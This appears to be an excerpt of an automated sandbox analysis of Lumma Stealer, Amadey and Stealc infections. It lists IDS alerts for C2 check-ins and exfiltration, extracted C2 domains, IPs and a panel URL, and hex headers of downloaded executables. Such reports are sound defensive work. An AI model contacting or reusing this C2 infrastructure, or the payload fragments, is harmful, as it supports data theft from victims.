Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49964 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49977
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49988 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49994 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:51574 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:62815 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49996 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:58098 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:49999 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49997 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50001 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50002 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50003 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50008 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50005 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50007 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:56536 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:62096 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:50276 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50010 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50011 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50012 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50014 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50019 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:63679 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:49620 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:58874 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:63316 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50029 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50028 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50027 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50026 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50025 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50031 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50033 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50030 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:54065 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50034 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:61524 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50009 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:50035 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49999 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49999 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50003 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50009 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50009 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50027 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50027 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49996 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49996 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50010 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50010 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50033 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50028 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50028 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 01:08:13 GMTContent-Type: application/octet-streamContent-Length: 2882048Last-Modified: Thu, 31 Oct 2024 00:28:41 GMTConnection: keep-aliveETag: "6722cf39-2bfa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2c 00 00 04 00 00 c6 6e 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 61 65 6a 67 75 78 6f 73 00 a0 2b 00 00 a0 00 00 00 9a 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 77 75 77 63 6d 63 00 20 00 00 00 40 2c 00 00 04 00 00 00 d4 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2c 00 00 22 00 00 00 d8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 01:08:19 GMTContent-Type: application/octet-streamContent-Length: 1864192Last-Modified: Thu, 31 Oct 2024 01:00:20 GMTConnection: keep-aliveETag: "6722d6a4-1c7200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 e0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4a 00 00 04 00 00 0e fc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c bf 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec be 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 66 72 65 68 6e 72 65 00 60 19 00 00 70 30 00 00 54 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 61 6d 74 77 6e 75 70 00 10 00 00 00 d0 49 00 00 06 00 00 00 4a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 49 00 00 22 00 00 00 50 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 01:09:07 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 31 Oct 2024 00:28:03 GMTETag: "766200-625bae43e689f"Accept-Ranges: bytesContent-Length: 7758336Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d0 e4 3f 99 94 85 51 ca 94 85 51 ca 94 85 51 ca df fd 52 cb 9c 85 51 ca df fd 54 cb 29 85 51 ca df fd 55 cb 85 85 51 ca 57 06 52 cb 9e 85 51 ca 57 06 55 cb 85 85 51 ca 57 06 54 cb c6 85 51 ca df fd 50 cb 93 85 51 ca 94 85 50 ca 10 85 51 ca 81 01 58 cb 92 85 51 ca 81 01 51 cb 95 85 51 ca 81 01 ae ca 95 85 51 ca 81 01 53 cb 95 85 51 ca 52 69 63 68 94 85 51 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 67 fc 05 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 b0 02 00 00 ce 73 00 00 00 00 00 dc 90 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 76 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 90 cc 03 00 50 00 00 00 e0 cc 03 00 28 00 00 00 00 a0 76 00 e8 01 00 00 00 70 76 00 34 26 00 00 00 00 00 00 00 00 00 00 00 b0 76 00 58 09 00 00 d0 88 03 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 87 03 00 40 01 00 00 00 00 00 00 00 00 00 00 00 c0 02 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 af 02 00 00 10 00 00 00 b0 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 48 17 01 00 00 c0 02 00 00 18 01 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 80 72 00 00 e0 03 00 00 62 72 00 00 cc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 34 26 00 00 00 70 76 00 00 28 00 00 00 2e 76 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e8 01 00 00 00 a0 76 00 00 02 00 00 00 56 76 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 58 09 00 00 00 b0 76 00 00 0a 00 00 00 58 76 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 01:09:20 GMTContent-Type: application/octet-streamContent-Length: 3653120Last-Modified: Thu, 31 Oct 2024 00:50:37 GMTConnection: keep-aliveETag: "6722d45d-37be00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 09 00 04 ac 22 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 94 00 00 00 56 00 00 00 00 00 00 84 66 26 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 58 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9a 50 00 54 01 00 00 00 d0 58 00 e0 01 00 00 90 73 58 00 80 31 00 00 00 00 00 00 00 00 00 00 00 b0 58 00 54 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 72 58 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 21 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8b 92 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3a 3d 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a0 09 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 10 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 5f 2f 62 00 00 00 00 a3 eb 1f 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 44 49 6c 00 00 00 00 e8 0a 00 00 00 00 21 00 00 0c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 61 62 78 00 00 00 00 10 95 37 00 00 10 21 00 00 96 37 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 65 6c 6f 63 00 00 54 15 00 00 00 b0 58 00 00 16 00 00 00 a6 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 58 00 00 02 00 00 00 bc 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
